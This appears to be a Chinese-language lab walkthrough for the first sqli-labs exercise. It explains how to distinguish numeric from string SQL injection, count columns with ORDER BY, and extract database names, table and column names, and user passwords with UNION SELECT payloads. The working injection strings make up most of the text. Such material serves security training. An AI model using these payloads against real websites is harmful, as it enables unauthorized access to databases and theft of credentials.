判断字符型注入还是数字型注入
数字型
输入:
?id=1 and 1=1 和?id =1 and 1=2
sql语句是
select * from table_name where id=1 and 1=1
select * from table_name where id=1 and 1=2
第一个是永真式,页面返回正常
第二个是永假式,页面返回不正常.
字符型
输入:如果用上面的方法
?id=1 and 1=1 和?id =1 and 1=2
sql语句是
select * from table_name where id=‘1 and 1=1’
select * from table_name where id=‘1 and 1=2’
那么1 and 1=1和1 and 1=2就会变成字符串,不能进行逻辑判断
尝试构造:
?id=1’ and ‘1’=‘1 和?id =1’ and ‘1’='2
sql语句是:
select * from table_name where id=‘1’ and ‘1’=‘1’
select * from table_name where id=‘1’ and ‘1’=2’
以为字符需要单引号括起来,所以第一个是永真,页面返回正常
第二个是永假,页面不正常
- 总结:1:字符型会自动加入两个单引号。
2:数字型不会加入两个单引号。
3:被单引号括起来的数据会被当成一个整体。
4:LIMIT m,n 会影响select语句的结果。
5:页面回显发生错误和页面不回显数据是两回事。前者表示sql语句出错了,后者表示sql语句没有错误,但是条件不成立。
1-4:union注入
sqli1
一、判断注入类型
输入 ?id=1 and 1=1 看回显
页面正常回显
再输入?id=1 and 1=2 看回显
页面也正常,判断不是数字型注入,如果是数字型 应该不会正常回显
因为1 and 1=1 和1 and 1=2 被当做一个字符串(也就是一个要查找的数据),因为表中没有这个数据,所以应该不回显,但后面有 limit 0,1语句依然发挥作用,取出一行,这就是页面中会回显用户名和密码的原因
然后输入id =1’ and ‘1’='1
页面回显正常
输入id =1’ and ‘1’='2
回显错误,是字符型注入
因为’1’ and ‘1’ ='2’是永假的
二、判断列数
输入 ?id=1’ order by 3–+
显示正常
输入 ?id=1’ order by 4–+
显示不正常,得到表中有3列
三、进行union注入
输入:?id=0’ union select 1,2,3–+.
注意:这里前面id='0’是错误的,才会显示后面union的查询结果,否则就会显示id的查询结果
看到 2 3回显,在2 3 出写入payload进行注入
1.查库名和表名
输入:?id=0’ union select 1,database(),(select group_concat(table_name) from information_schema.tables where table_schema=database())–+
得到库名,和库中所有的表
2.查users表的列名
输入:?id=0’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name=‘users’),3–+
得到users表的列名
3.查字段
输入:?id=0’ union select 1,(select group_concat(username,’~’,password,’;’)from users),3–+
group_conca()函数:是典型的字符串连接函数
语法:group_concat([DISTINCT] 要连接的字段 [Order BY ASC/DESC 排序字段] [Separator ‘分隔符’])
- “-”是sql语句的注释符,+在url里面表示空格